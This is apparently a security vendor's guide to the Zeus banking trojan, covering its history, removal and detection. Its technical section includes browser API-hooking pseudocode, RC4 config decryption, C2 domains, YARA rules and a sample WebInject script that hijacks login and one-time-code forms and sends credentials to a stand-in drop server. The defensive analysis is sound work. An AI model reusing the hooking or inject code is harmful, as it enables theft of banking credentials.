Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124
Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124
Trojan Zeus (also known as Zbot, Zeus Gameover, or Trojan.Zbot) is one of the most notorious banking trojans in cybersecurity history. This comprehensive guide will help you understand what Trojan Zeus is, how it infects computers, and most importantly, how to remove it completely from your system using the specialized Trojan Killer tool.
Common Names |
|
Type | Banking Trojan, Password Stealer, Information Harvester |
First Detected | 2007 |
Platforms Affected | Windows XP, Vista, 7, 8, 8.1, 10, 11 |
Infection Level | Severe |
Data Risk | Extremely High – Primarily targets banking credentials and financial information |
Zeus, also known as Zbot, is one of the most notorious banking trojans ever created. First identified in 2007, this malware was specifically designed to steal financial information, including banking credentials, credit card details, and online payment information from infected computers.
Unlike less targeted malware like Wacatac, Zeus was purpose-built for financial theft, making it particularly dangerous for individual users and businesses with online banking accounts.
Based on data collected from various cybersecurity reports and historical analysis:
Zeus typically spreads through several infection vectors:
Learn more about the general mechanisms of how trojans work and spread to better protect your system.
Watch for these potential indicators of Zeus infection:
Zeus poses several critical threats to infected systems and their users:
To better understand Zeus in context, let’s compare it with other major banking trojans:
Zeus (Zbot) is considered the “grandfather” of modern banking trojans. As discussed earlier, it specializes in credential theft using web injects and form grabbing techniques, primarily targeting financial data. Its modular architecture allowed it to be highly customizable, and its source code leaks led to numerous derivatives. Zeus is primarily spread through phishing and drive-by downloads, but lacks sophisticated lateral movement capabilities within networks. Its creator officially “retired” in 2010, but the Zeus codebase continues to influence modern banking malware.
Emotet, originally a banking trojan, evolved into a multi-purpose malware delivery platform. Unlike Zeus’s focused approach on financial data, Emotet has broader capabilities, including email harvesting, spam distribution, and loading additional malware. Emotet is notorious for its aggressive spreading techniques, including network propagation that Zeus lacks. It’s also known for its sophisticated evasion techniques and resilient infrastructure that has allowed it to survive multiple takedown attempts. Emotet is primarily distributed through malspam campaigns with malicious macros.
TrickBot was developed after Zeus and incorporated many of its features while expanding its capabilities. While Zeus primarily targets consumer banking, TrickBot often targets businesses and enterprise environments. TrickBot has more advanced persistence and lateral movement capabilities than Zeus, making it particularly dangerous in corporate networks. It features a modular design similar to Zeus but with modern improvements and is known for working in partnership with ransomware operations. TrickBot remains in active development with regular updates and new capabilities.
Dridex is another evolution of the concepts pioneered by Zeus. Emerging in 2014, Dridex shares Zeus’s focus on banking credential theft but employs more sophisticated evasion techniques. Dridex is primarily delivered through malicious macro-enabled Office documents, typically via targeted email campaigns. Like TrickBot, Dridex has evolved to include capabilities beyond banking trojan functionality, including acting as a delivery mechanism for ransomware. Dridex operations are attributed to a sophisticated cybercriminal group called Evil Corp.
Trojan Killer is specifically designed to remove complex trojans, including Zeus and its variants:
Warning: Manual removal of Zeus is complex and should only be attempted by users with technical expertise. Zeus is known for its sophisticated hiding techniques, making manual removal challenging.
Given Zeus’s focus on financial theft, these additional steps are essential after removal:
To protect against Zeus and similar banking trojans:
Many of these preventative measures are also effective against other threats, including trojan downloaders and other forms of malware that may attempt to compromise your system or financial information.
For security researchers and advanced users, here are some technical details about Zeus:
More detailed technical analysis of Zeus and its variants can be found in various security research papers and Microsoft’s Security Intelligence report.
This section provides in-depth technical information about Zeus (ZeuS/Zbot) trojan architecture, code, and detection methods for security professionals, malware analysts, and incident response teams.
Zeus malware employs a sophisticated modular architecture that has influenced many modern banking trojans:
Zeus Core Components: - Builder → Creates custom Zeus binaries with specified configurations - Config → Encrypted configuration with target websites and WebInject rules - Loader → Initial infection module responsible for unpacking and persistence - Core → Main functionality including hooks and data theft mechanisms - WebInjects → HTML /JavaScript injection templates for credential theft - Panel → Command and control server with administrative interface |
The Zeus architecture is designed with clear separation of responsibilities:
Component | Technical Function | Implementation Details |
---|---|---|
Infection Vector | Initial compromise mechanism | Typically phishing emails with malicious attachments or exploit kits using drive-by downloads |
Loader Module | Unpacking and persistence | Custom packer with multiple layers, registry/service-based persistence |
Core Module | Main functionality | Implements API hooking, form grabbing, and web injection |
Configuration | Customization of behavior | RC4 encrypted configuration with targets and injection rules |
C&C Protocol | Command and data exfiltration | HTTP-based with RC4 encryption and binary protocol |
Zeus pioneered browser hooking techniques that are now standard in banking trojans. This pseudocode shows the core implementation:
// Zeus API hooking implementation (pseudocode based on disassembly) typedef struct _HOOK_STRUCT { LPVOID originalFunction; // Original API function address LPVOID hookFunction; // Hook function address BYTE originalBytes[16]; // Original function bytes for unhooking DWORD bytesCount; // Number of bytes saved BOOL isHooked; // Hook status flag } HOOK_STRUCT; // Function to set inline hooks BOOL setInlineHook(HOOK_STRUCT* hook, LPVOID targetFunction, LPVOID hookFunction) { // Allocate hook structure if not provided if (hook == NULL) { hook = (HOOK_STRUCT*) malloc ( sizeof (HOOK_STRUCT)); if (hook == NULL) return FALSE; ZeroMemory(hook, sizeof (HOOK_STRUCT)); } // Save original information hook->originalFunction = targetFunction; hook->hookFunction = hookFunction; hook->isHooked = FALSE; // Create the JMP instruction (E9 + relative address) BYTE jumpCode[5] = {0xE9, 0x00, 0x00, 0x00, 0x00}; DWORD jumpAddress = ( DWORD )hookFunction - ( DWORD )targetFunction - 5; memcpy (&jumpCode[1], &jumpAddress, 4); // Save original bytes for later restoration ReadProcessMemory(GetCurrentProcess(), targetFunction, hook->originalBytes, 5, &hook->bytesCount); // Make memory writable DWORD oldProtect; if (!VirtualProtect(targetFunction, 5, PAGE_EXECUTE_READWRITE, &oldProtect)) return FALSE; // Write the jump instruction WriteProcessMemory(GetCurrentProcess(), targetFunction, jumpCode, 5, NULL); // Restore protection VirtualProtect(targetFunction, 5, oldProtect, &oldProtect); hook->isHooked = TRUE; return TRUE; } // Zeus browser hooking initialization void initializeBrowserHooks() { // Internet Explorer / Windows API hooks hookAPIs[0].targetModule = "wininet.dll" ; hookAPIs[0].targetFunction = "HttpSendRequestW" ; hookAPIs[0].hookFunction = ( LPVOID )HookedHttpSendRequestW; hookAPIs[1].targetModule = "wininet.dll" ; hookAPIs[1].targetFunction = "HttpSendRequestA" ; hookAPIs[1].hookFunction = ( LPVOID )HookedHttpSendRequestA; hookAPIs[2].targetModule = "wininet.dll" ; hookAPIs[2].targetFunction = "InternetReadFile" ; hookAPIs[2].hookFunction = ( LPVOID )HookedInternetReadFile; // Firefox hooks hookAPIs[3].targetModule = "nspr4.dll" ; hookAPIs[3].targetFunction = "PR_Write" ; hookAPIs[3].hookFunction = ( LPVOID )HookedPR_Write; hookAPIs[4].targetModule = "nspr4.dll" ; hookAPIs[4].targetFunction = "PR_Read" ; hookAPIs[4].hookFunction = ( LPVOID )HookedPR_Read; // For each defined hook for ( int i = 0; i < HOOKS_COUNT; i++) { // Get module handle HMODULE hMod = GetModuleHandleA(hookAPIs[i].targetModule); if (hMod == NULL) continue ; // Get function address LPVOID funcAddr = GetProcAddress(hMod, hookAPIs[i].targetFunction); if (funcAddr == NULL) continue ; // Set the hook setInlineHook(&hookStructs[i], funcAddr, hookAPIs[i].hookFunction); } } // Example hook function for HTTP requests BOOL WINAPI HookedHttpSendRequestW(HINTERNET hRequest, LPWSTR lpszHeaders, DWORD dwHeadersLength, LPVOID lpOptional, DWORD dwOptionalLength) { // Log the request data if (lpszHeaders != NULL && dwHeadersLength > 0) { logData(LOG_BROWSER, L"HttpSendRequestW Headers: %s" , lpszHeaders); } if (lpOptional != NULL && dwOptionalLength > 0) { // Check if this is a POST request with form data if (isFormData(lpOptional, dwOptionalLength)) { // Extract and decrypt form fields extractFormCredentials(lpOptional, dwOptionalLength); } } // Check if this URL matches our target bank list WCHAR url[MAX_URL] = {0}; DWORD urlSize = MAX_URL; if (InternetQueryOptionW(hRequest, INTERNET_OPTION_URL, url, &urlSize)) { if (isTargetURL(url)) { // This is a banking site we're targeting - prepare for injection markForInjection(hRequest); } } // Call the original function typedef BOOL (WINAPI *OrigHttpSendRequestW)(HINTERNET, LPWSTR , DWORD , LPVOID , DWORD ); return ((OrigHttpSendRequestW)hookStructs[0].originalFunction)(hRequest, lpszHeaders, dwHeadersLength, lpOptional, dwOptionalLength); } |
Zeus uses a structured binary configuration format with custom encryption:
// Zeus Configuration Format (Zeus 2.0 and derivatives) struct ZeusConfig { DWORD dwMagic; // Magic value (0x5A455553 = "ZEUS") DWORD dwVersion; // Configuration version DWORD dwBuildTime; // Build timestamp BYTE bEncryptionKey[16]; // RC4 encryption key for data DWORD dwSectionCount; // Number of configuration sections // Followed by section entries struct Section { DWORD dwNameHash; // Hashed section name DWORD dwOffset; // Offset to section data DWORD dwSize; // Size of section data DWORD dwFlags; // Section flags (e.g., encrypted) } sections[dwSectionCount]; // Followed by section data }; // Common section names and their hashes // "url_config" -> 0x14D32F5E // "webinjects" -> 0x29F68E37 // "billingham" -> 0x3DEC2C94 (triggers special crypto routine) // "fake_responses" -> 0x43E0D748 // "trusted_certs" -> 0x503382F5 // "timer_config" -> 0x65E4073D // "url_tracker" -> 0x8FB1F8CA // "phone_tracking" -> 0xA1FD4BEC // "click_tracking" -> 0xC4BB764C // "report_config" -> 0xDA5031EA |
Zeus uses custom encryption for its configuration and communications:
/ / Zeus configuration decryption function in Python def decrypt_zeus_config(encrypted_data, key = None ): """Decrypt Zeus configuration data.""" if not key: # Try to extract key from header if len (encrypted_data) < 24 : print ( "[-] Invalid Zeus config data length" ) return None # Key is stored at offset 8 in header key = encrypted_data[ 8 : 24 ] # Parse header header_size = 24 + ( 4 * 3 * encrypted_data[ 20 ]) # 24 bytes + section entries # Decrypt config data using RC4 plaintext = bytearray( len (encrypted_data) - header_size) # Initialize RC4 sbox sbox = list ( range ( 256 )) j = 0 for i in range ( 256 ): j = (j + sbox[i] + key[i % len (key)]) % 256 sbox[i], sbox[j] = sbox[j], sbox[i] # RC4 decryption i = j = 0 for pos in range (header_size, len (encrypted_data)): i = (i + 1 ) % 256 j = (j + sbox[i]) % 256 sbox[i], sbox[j] = sbox[j], sbox[i] k = sbox[(sbox[i] + sbox[j]) % 256 ] plaintext[pos - header_size] = encrypted_data[pos] ^ k return plaintext |
Zeus is known for its sophisticated web injection capability to modify banking pages in real-time:
// Example Zeus WebInject rule (from real-world samples) set_url https: //www .bank-example.com/* GP data_before < /body > data_end data_inject <script type = "text/javascript" > // Zeus malicious JavaScript injection function zeus_hook_login() { // Override the original submit handler var old_submit = document.forms[0].onsubmit; document.forms[0].onsubmit = function () { // Copy credentials var username = document.getElementById( 'username' ).value; var password = document.getElementById( 'password' ).value; // Send credentials to drop server via image request var img = new Image(); img.src = "https://compromised-server.com/collect.php?u=" + encodeURIComponent(username) + "&p=" + encodeURIComponent(password) + "&site=bank-example" ; // Call original handler after slight delay setTimeout( function () { if (old_submit) old_submit.call(document.forms[0]); else document.forms[0].submit(); }, 1000); return false ; }; } // Hook when DOM is ready if (document.readyState === "complete" ) { zeus_hook_login(); } else { document.addEventListener( "DOMContentLoaded" , zeus_hook_login); } < /script > < /body > data_end // Additional banking-specific injection to capture one- time codes set_url https: //www .bank-example.com /confirm GP data_before <div id = "otp-form" > data_end data_inject <div id = "otp-form" > <script type = "text/javascript" > // Hook OTP submission document.getElementById( 'otp-button' ).addEventListener( 'click' , function () { var otp = document.getElementById( 'otp-input' ).value; // Send OTP to drop server var img = new Image(); img.src = "https://compromised-server.com/collect.php?otp=" + encodeURIComponent(otp) + "&site=bank-example" ; }); < /script > data_end |
The following indicators are associated with Zeus infections:
# Common Zeus file system artifacts ## Zeus executable locations (with randomly generated names) %APPDATA%\[random].exe %APPDATA%\Microsoft\[random].exe %TEMP%\[random].exe %SYSTEM%\[random].exe %SYSTEM%\sdra64.exe (older variants) ## Zeus configuration & storage %APPDATA%\[random].bin %APPDATA%\[random].dat %APPDATA%\[random].cfg %APPDATA%\ local .ds %APPDATA%\user.ds %LOCALAPPDATA%\[random]\[random].cfg ## File sizes Main binary: ~100-300 KB Configuration: ~10-50 KB Storage files: Variable size (grows with stolen data) |
# Zeus registry indicators ## Persistence mechanisms HKCU\Software\Microsoft\Windows\CurrentVersion\Run\[random] HKLM\Software\Microsoft\Windows\CurrentVersion\Run\[random] HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\[random] ## Configuration storage (sometimes used) HKCU\Software\Microsoft\[random] HKCU\Software\[random] ## Registry values Binary data with high entropy (encrypted configuration) |
# Zeus network communication patterns ## C2 communication HTTP POST requests to specific URLs: - /gate .php - /index .php - /submit .php - /pony .php ## HTTP headers User-Agent: Mozilla /4 .0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Content-Type: application /x-www-form-urlencoded ## Traffic patterns - Binary encrypted data in POST request body - Base64-encoded parameters - RC4 encrypted payloads - Distinctive binary protocol for C2 communication ## Example C2 domains (historical) pratikpanchariya[.]com kapoktogel[.]net dalesdeliandgrill[.]com licoespaty[.]com[.]br blackdiamondseries[.]com |
These YARA rules can help detect Zeus variants:
rule Zeus_Binary { meta: description = "Detects Zeus banking trojan binary" author = "TrojanKiller Research Team" date = "2025-04" hash = "9c16c9ea86d3c9cbc57f49777776d552842a245c" strings: // Common code patterns in Zeus $code1 = { 55 8B EC 83 C4 F4 53 56 57 33 C0 89 45 F4 B8 } $code2 = { 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 08 } // API resolution code $api1 = { 55 8B EC 83 C4 F0 53 56 57 8B 7D 08 8B D7 83 C2 0C 33 DB } $api2 = { 55 8B EC 53 56 57 33 FF 8B D9 59 39 7B 04 75 } // Zeus config pattern (RC4 code) $rc4 = { 8A 54 0A FF 8A 44 0A FE 8A CD 32 D0 } // String decryption routine $decrypt = { 55 8B EC 83 C4 F0 53 56 57 89 45 FC 8B 45 FC 8B 08 89 4D F8 8B 45 FC 8B 40 04 89 45 F4 ?? ?? E8 } condition: uint16(0) == 0x5A4D and filesize < 500KB and ( 2 of ($code*) or 2 of ($api*) or $rc4 or $decrypt ) } rule Zeus_Config_File { meta: description = "Detects Zeus configuration files" author = "TrojanKiller Research Team" date = "2025-04" strings: // Zeus config header (sometimes in cleartext) $header = { 5A 45 55 53 } // "ZEUS" magic // Binary encrypted data patterns $bin1 = { 10 00 00 00 [ 4 ] 1E 00 00 00 } $bin2 = { FF FF 00 00 [ 4-16 ] 00 00 00 00 } // High entropy data characteristics $entropy1 = { 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F } $entropy2 = { 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 } condition: filesize < 150KB and ( $header at 0 or (any of ($bin*) and not any of ($entropy*)) ) } rule Zeus_WebInjects { meta: description = "Detects Zeus WebInject code" author = "TrojanKiller Research Team" date = "2025-04" strings: $start_tag = "set_url" ascii nocase $data_before = "data_before" ascii nocase $data_end = "data_end" ascii nocase $data_inject = "data_inject" ascii nocase // Specific WebInject code patterns $inject1 = "document.forms" ascii $inject2 = "var img = new Image" ascii $inject3 = ".addEventListener" ascii $inject4 = ".onsubmit" ascii condition: all of ($*_*) and 2 of ($inject*) } |
Forensic analysts can use these Volatility commands to detect Zeus in memory:
# Identify potential Zeus processes with hollowing/injection vol.py -f memory.dmp --profile=Win10x64 malfind # Find Zeus API hooks in browser processes vol.py -f memory.dmp --profile=Win10x64 apihooks -p [browser_pid] # Scan for Zeus configuration patterns in memory vol.py -f memory.dmp --profile=Win10x64 yarascan -Y "rule ZeusConfig {strings: $a = {5A 45 55 53} $b = {10 00 00 00 ?? ?? ?? ?? 1E 00 00 00} condition: any of them}" # Look for Zeus-specific strings in memory vol.py -f memory.dmp --profile=Win10x64 yarascan -Y "/gate.php" -p [suspicious_pid] # Extract potential Zeus processes for further analysis vol.py -f memory.dmp --profile=Win10x64 procdump -p [suspicious_pid] -D . /output/ # Check for Zeus's registry artifacts vol.py -f memory.dmp --profile=Win10x64 printkey -K "Software\Microsoft\Windows\CurrentVersion\Run" |
The following Python script can extract and analyze Zeus configurations from binaries or memory dumps:
#!/usr/bin/env python3 # Zeus Configuration Extractor import sys import struct import binascii import re import argparse from Crypto.Cipher import ARC4 def extract_config_from_binary(file_path): """Extract Zeus configuration from a binary file.""" with open (file_path, 'rb' ) as f: file_data = f.read() # Try to find Zeus configuration in the binary # Look for common markers markers = [ b 'ZEUS' , # Magic bytes b '\x10\x00\x00\x00' , # Common header pattern b '\x29\xF6\x8E\x37' , # Hash for "webinjects" section b '\x14\xD3\x2F\x5E' # Hash for "url_config" section ] potential_offsets = [] for marker in markers: offset = 0 while True : offset = file_data.find(marker, offset + 1 ) if offset = = - 1 : break potential_offsets.append(offset) # Process each potential offset for offset in sorted (potential_offsets): # Check if we have a valid Zeus config structure if offset + 24 > len (file_data): continue # Try to parse as Zeus header try : # Check for ZEUS magic if file_data[offset:offset + 4 ] = = b 'ZEUS' : magic = file_data[offset:offset + 4 ] version = struct.unpack( '<I' , file_data[offset + 4 :offset + 8 ])[ 0 ] build_time = struct.unpack( '<I' , file_data[offset + 8 :offset + 12 ])[ 0 ] rc4_key = file_data[offset + 12 :offset + 24 ] print (f "[+] Found potential Zeus config at offset 0x{offset:X}" ) print (f " Magic: {magic}" ) print (f " Version: {version}" ) print (f " Build time: {build_time}" ) print (f " RC4 key: {rc4_key.hex()}" ) # Try to decrypt with found key config_data = file_data[offset:] decrypted = decrypt_zeus_config(config_data, rc4_key) if decrypted: return decrypted # Check for section hashes pattern elif (offset > = 20 and # Ensure we can check preceding data re.match(b '[\x00-\xff]{4}[\x00-\xff]{4}[\x00-\xff]{4}' , file_data[offset - 12 :offset])): # This might be a section hash section_count = struct.unpack( '<I' , file_data[offset - 20 :offset - 16 ])[ 0 ] if 1 < = section_count < = 20 : # Reasonable number of sections print (f "[+] Found potential Zeus section data at offset 0x{offset:X}" ) print (f " Section count: {section_count}" ) # Try to extract key from nearby data for key_offset in range (offset - 64 , offset + 64 ): if key_offset + 16 < = len (file_data) and key_offset > = 0 : key = file_data[key_offset:key_offset + 16 ] # Try to decrypt with this potential key decrypted = decrypt_zeus_config(file_data[offset - 24 :], key) if is_valid_config(decrypted): print (f "[+] Successfully decrypted with key at offset 0x{key_offset:X}" ) return decrypted except Exception as e: continue print ( "[-] No valid Zeus configuration found" ) return None def decrypt_zeus_config(data, key): """Decrypt Zeus configuration using RC4.""" try : # Skip the header header_size = 0 # If we have magic bytes, skip the header if data[: 4 ] = = b 'ZEUS' : section_count = struct.unpack( '<I' , data[ 20 : 24 ])[ 0 ] header_size = 24 + (section_count * 12 ) # 12 bytes per section entry # Decrypt the configuration data if header_size > = len (data): return None encrypted_data = data[header_size:] cipher = ARC4.new(key) decrypted = cipher.decrypt(encrypted_data) return decrypted except Exception as e: print (f "[-] Error decrypting: {e}" ) return None def is_valid_config(data): """Check if the decrypted data looks like a valid Zeus configuration.""" if data is None or len (data) < 20 : return False # Check for typical Zeus config patterns patterns = [ b 'http://' , b 'https://' , b 'data_before' , b 'data_inject' , b 'webinjects' , b 'url_config' ] for pattern in patterns: if pattern in data: return True return False def analyze_config(config_data): """Analyze the decrypted Zeus configuration.""" if config_data is None : return print ( "\n[+] Analyzing Zeus configuration" ) # Look for C2 URLs c2_urls = re.findall(b 'https?://[a-zA-Z0-9./_-]+' , config_data) if c2_urls: print ( "\nC2 URLs:" ) for url in c2_urls: print (f " - {url.decode('utf-8', errors='ignore')}" ) # Look for WebInject targets webinject_targets = re.findall(b 'set_url ([^\n]+)' , config_data) if webinject_targets: print ( "\nWebInject Targets:" ) for target in webinject_targets: print (f " - {target.decode('utf-8', errors='ignore')}" ) # Extract any potential webinjects webinject_sections = re.findall(b 'data_before[^\n]*\n(.*?)data_end.*?data_inject[^\n]*\n(.*?)data_end' , config_data, re.DOTALL) if webinject_sections: print (f "\nFound {len(webinject_sections)} WebInject rules" ) # Save detailed webinjects to a file with open ( 'zeus_webinjects.txt' , 'wb' ) as f: for i, (before, inject) in enumerate (webinject_sections): f.write(f "=== WebInject #{i+1} ===\n" .encode()) f.write(b "BEFORE:\n" ) f.write(before) f.write(b "\n\nINJECT:\n" ) f.write(inject) f.write(b "\n\n" + b "=" * 50 + b "\n\n" ) print ( "[+] Saved detailed WebInject rules to zeus_webinjects.txt" ) if __name__ = = "__main__" : parser = argparse.ArgumentParser(description = 'Zeus Configuration Extractor' ) parser.add_argument( 'file' , help = 'Path to Zeus binary or memory dump' ) args = parser.parse_args() print ( "[*] Zeus Configuration Extractor" ) print (f "[*] Analyzing file: {args.file}" ) config = extract_config_from_binary(args. file ) if config: # Save raw config with open ( 'zeus_config.bin' , 'wb' ) as f: f.write(config) print ( "[+] Saved raw configuration to zeus_config.bin" ) # Analyze the configuration analyze_config(config) else : print ( "[-] Failed to extract Zeus configuration" ) |
Zeus has spawned numerous variants and descendants that security professionals should be aware of:
Variant | Key Technical Differences | Detection Challenges |
---|---|---|
Zeus 1.0 | Basic banking trojan with form grabbing and simple WebInjects | Simple file paths, predictable persistence mechanisms |
Zeus 2.0 | Enhanced encryption, modular architecture, sophisticated WebInjects | RC4 encryption, sophisticated string obfuscation |
Zeus 2.1 (Murofet) | P2P communication capabilities, more sophisticated file storage | Peer-to-peer traffic, domain generation algorithms |
GameOver Zeus | Full P2P infrastructure, no centralized C2, advanced DGA | No central C2 server, encrypted P2P protocol |
Citadel | Advanced anti-analysis, screen recording, video capture | VM detection, enhanced encryption, anti-forensics |
Ice IX | Modified Zeus 2.0 codebase with enhanced anti-analysis | Evasion of Zeus-specific signatures |
KINS (Kasper) | Rootkit capabilities, bootkit features in some variants | Low-level system hooks, difficult to detect persistence |
Floki Bot | Based on Zeus 2.0.8 source, with Citadel+GameOver features | Combines multiple evasion techniques from different variants |
Terdot | Advanced proxy capabilities, social media monitoring | Complex encryption, sophisticated process injection |
Atmos | Advanced screenshot capabilities, enhanced form grabbing | Heavily obfuscated code, polymorphic techniques |
For security professionals, these measures are recommended specifically for Zeus protection:
These technical insights should provide security researchers, incident responders, and malware analysts with the detailed information needed to understand, detect, and remediate Zeus infections. Despite its age, Zeus remains one of the most influential and studied banking trojans, with its techniques still visible in modern banking malware.
Zeus remains one of the most studied banking trojans in history. Let’s address some common questions about this influential malware.
The original Zeus trojan has largely been supplanted by more advanced threats, but its legacy lives on in numerous ways. While classic Zeus variants have become relatively rare, the Zeus source code continues to influence modern banking trojans. After the Zeus source code leak in 2011, it spawned numerous derivatives that remain active today, including Terdot, Floki Bot, and Sphinx. Many contemporary banking trojans incorporate techniques originally pioneered by Zeus. Additionally, some cybercriminal groups maintain modified versions of the original Zeus code, occasionally deploying them in targeted attacks. The cybersecurity community continues to see Zeus-based code signatures in approximately 15-20% of banking malware incidents, demonstrating its enduring impact on the threat landscape even years after its initial prominence.
Zeus employs several sophisticated techniques to evade detection by traditional security solutions. Its polymorphic engine generates unique code signatures for each infection, making signature-based detection challenging. The trojan often uses encrypted configuration files and communications, preventing security tools from easily identifying malicious traffic. Zeus’s man-in-the-browser technique operates within legitimate browser processes, making its activities difficult to distinguish from normal browsing. Additionally, Zeus contains anti-VM and anti-debugging features that can detect when it’s being analyzed in a security research environment, at which point it will modify its behavior or remain dormant. Perhaps most concerning is Zeus’s ability to inject HTML code into legitimate banking websites in real-time, creating convincing phishing fields that appear to be part of the legitimate site—a technique that bypasses traditional phishing protections that rely on URL or website verification.
Zeus earned its notorious reputation through several innovations that set it apart from earlier banking trojans. While many predecessors relied on crude phishing or keylogging, Zeus pioneered sophisticated “man-in-the-browser” attacks that could modify web pages in real-time as users viewed them. This allowed Zeus to present convincing form fields that appeared to be legitimate parts of banking websites. Its modular design made it highly adaptable—operators could easily add new functionality or target different institutions by updating configuration files. Zeus was also one of the first widely commercialized malware kits sold on underground forums, which dramatically lowered the barrier to entry for financial cybercrime. This commercial model, combined with its effectiveness, led to widespread adoption and continuous improvement by various threat actors. Many techniques now standard in banking trojans were either invented or popularized by Zeus, making it a transformative force in financial malware evolution.
Confirming complete Zeus removal requires a multi-layered verification approach. After running Trojan Killer and removing detected threats, restart your computer and run a second full scan—Zeus often creates multiple persistence mechanisms that might not all be detected in a single scan. Next, check for common Zeus artifacts: examine your hosts file (C:\Windows\System32\drivers\etc\hosts) for unusual entries blocking security websites, verify your browser settings haven’t been modified, and ensure you can access antivirus and banking websites without redirects. For additional certainty, run a secondary scan with a different security tool that might detect residual components using different detection methods. Finally, since Zeus primarily targets financial access, monitor your banking and financial accounts closely for at least 30 days following removal. If you’re handling extremely sensitive data or manage high-value financial accounts, consider a clean OS installation as the most definitive solution after a Zeus infection.
The 2011 leak of the Zeus source code represents one of the most consequential events in malware history, with reverberations still felt today. Prior to the leak, Zeus was sold as a proprietary malware kit for thousands of dollars, limiting its use to well-funded cybercriminals. Once the source code became freely available, it sparked a wave of innovation as countless developers modified and enhanced the code. This democratization of sophisticated banking malware led directly to the creation of numerous Zeus derivatives, including Citadel, Gameover Zeus, Ice IX, and others. Each variant added new capabilities while retaining Zeus’s powerful core functionality. Beyond direct derivatives, Zeus’s code influenced the entire banking trojan ecosystem, with many of its techniques becoming standard features in competing malware families. The leaked code essentially provided a sophisticated framework that accelerated malware development across the criminal ecosystem, leading some security researchers to describe it as “the gift to cybercriminals that keeps on giving” even years after the original leak.